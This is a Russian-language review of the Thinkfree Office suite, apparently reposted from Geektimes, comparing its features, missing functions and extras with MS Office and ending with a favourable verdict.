Кроме документов MS Office, корейский офисный пакет работает и со всеми остальными распространенными форматами: открытым ODF, текстовыми файлами RTF, веб-документами HTM/HTML, данными CSV и пр. Отдельно стоит сказать о поддержке популярного формата PDF.  Редактировать такие файлы напрямую не получится, но при помощи встроенного конвертера можно открыть PDF для редактирования в одной из программ пакета, внести необходимые правки, после чего снова сохранить как PDF. Кстати, в PDF можно сохранить и любой другой файл, с которым вы работаете в Thinkfree Office.

Функциональность: почти все, что нужно

Вряд ли многие из вас задумывались над тем, сколько функций в их любимом офисном пакете и какой их процент востребован в повседневной работе. Согласно официальной информации, в корейском текстовом редакторе реализовано около 1350 из 1500 функций MS Word, то есть, около 90%. И даже  простого взгляда на ленту с вкладками достаточно, чтобы понять: в Thinkfree Office можно найти большинство программных возможностей от Microsoft.

Формат по образцу, поиск и замена с учетом большого числа параметров, расширенный буфер обмена с поддержкой более двадцати фрагментов данных, проверка правописания, перевод с использованием сервиса Systran, колонтитулы, вставка самых разных типов данных  (таблицы, изображения, разрывы страниц, дата и время, номера страниц, примечания, закладки и гиперссылки) – все это в корейском офисе есть.

Для работы с документами большого объема можно использовать средства для добавления сносок и создания содержания. Для оформления текста используются привычные для пользователей MS Office стили, а также объекты WordArt, которые тут называются WordShop.

Пользователи Cell могут обнаружить в программе привычные средства для форматирования и автоматического заполнения ячеек, фильтрации и сортировки данных, условного форматирования, работы со сводными таблицами, формулами и диаграммами.

Программа для создания презентаций Show включает гибкие настройки показа слайдов и выбора тем для презентации. Тут можно найти инструменты для вставки видео (в том числе из интернета), записи звукового сопровождения, добавления комментариев и прочие.

Средства для совместной работы также максимально приближены к тем, к которым привыкли пользователи программ Microsoft. Можно работать с областью проверки, принимать исправления по одному или разом, просматривать документ с исправлениями, исходный или окончательный.

И еще одна важная мелочь: в Thinkfree Office есть удобные средства для восстановления документов в случае сбоя. Если, скажем, работа системы была завершена некорректно, то при следующей загрузке программы можно будет восстановить все документы, которые были открыты с учетом всех изменений в них.

Отличия: чего недостает
Несмотря на то, что корейские разработчики старательно скопировали основные возможности MS Office, все же кое-чего в Thinkfree Office недостает. Некоторые расхождения можно обнаружить в процессе работы с данными. Например, тут нет визуального предпросмотра при выборе шрифтов и стилей, к которому привыкли пользователи последних версий MS Office. Также недоступно всплывающее меню с инструментами для форматирования, нет проверки орфографии «на лету», а панель быстрого доступа можно разместить только под лентой (а не над ней, как в MS Office).
Переводчик и средства для проверки правописания в Thinkfree Office есть, а вот менее востребованные функции «Тезаурус» (поиск синонимов) и «Справочники» (встроенный поисковик) не добавлены. Кроме этого, в корейском Word доступно лишь два режима просмотра: по размеру и по ширине страницы, а режимы чтения, структуры и веб-документа не добавлены. Да, два вместо пяти, но, согласитесь, что это – два самых востребованных режима (уверены, что некоторые из вас вообще никогда не пользуются режимом веб-документа или режимом структуры).

Бонусы: что есть дополнительно
Большинство потенциальных пользователей интересует, в первую очередь, найдут ли они в альтернативной программе привычные функции. На этот вопрос мы уже ответили утвердительно. Однако корейцы снабдили свой офис и несколькими возможностями, которые имеет смысл рассмотреть не в сравнении, а сами по себе, так как аналогов у них нет.

К примеру, в программах Thinkfree Office можно обнаружить инструмент, который помогает скрыть личные сведения. Он находит в документах номера кредитных карт, телефонов, адресов электронной почты, IP-адресов и при необходимости автоматически меняет их на символы типа XXXXXX. Изменения необратимы, если сохранить документ и закрыть его, восстановить личную информацию не получится.

Другая интересная особенность Thinkfree Office – возможность быстро разместить контент в популярных социальных сетях Facebook и Twitter. Достаточно сохранить в программе данные своей учетной записи и можно публиковать сообщения, не выходя из редактора.

Есть у  корейской разработки и интеграция с собственным онлайн-офисом Netfice24: достаточно создать учетную запись и можно сохранять документы в «облако», а не на локальный диск. Так же прямо из программы можно открывать файлы с удаленного сервера и вносить в них правки. Эта функция интересна, прежде всего, тем, что она предлагается в рамках бессрочной лицензии (Microsoft же дает доступ к своему «облаку» OneDrive только в рамках пакета Office 365, который распространяется по подписке).  

MS Office предупреждает пользователей, загружающих документы из интернета, о небезопасности такого шага, по умолчанию отключая возможность редактировать такие файлы. Thinkfree Office тоже заботится о безопасности. Все файлы, которые открываются в программах пакета, проходят проверку встроенным инструментом Malware Explorer, который сообщает пользователям о возможных угрозах. Уровнем защиты можно управлять в настройках.

Наконец, еще одна интересная функция Thinkfree Office – подготовка текста для 3D-печати. В корейский Word встроен специальный инструмент, при помощи которого можно создать трехмерный текст с использованием любого из поддерживаемых программой шрифтов, сделать его объемным и добавить один из десятков эффектов. Готовый проект может быть сохранен в формате STL.

Итог: бюджетно, практично, без наворотов

Корейцам удалось максимально близко подобраться к «офисному эталону» Microsoft, сохранив в  Thinkfree Office все востребованные функции для работы с текстом и презентациями в привычном для пользователя русифицированном интерфейсе. Поддержка форматов MS Office и встроенные средства защиты и восстановления документов делают корейский софт достойной альтернативой для решения офисных задач. А гораздо более низкая (по сравнению с американскими программами) цена скрасит некоторые неудобства, связанные с усеченными возможностями предпросмотра и отсутствием перманентной проверки орфографии. В целом практичное решение с большим потенциалом.
ссылка на оригинал статьи https://geektimes.ru/post/289705/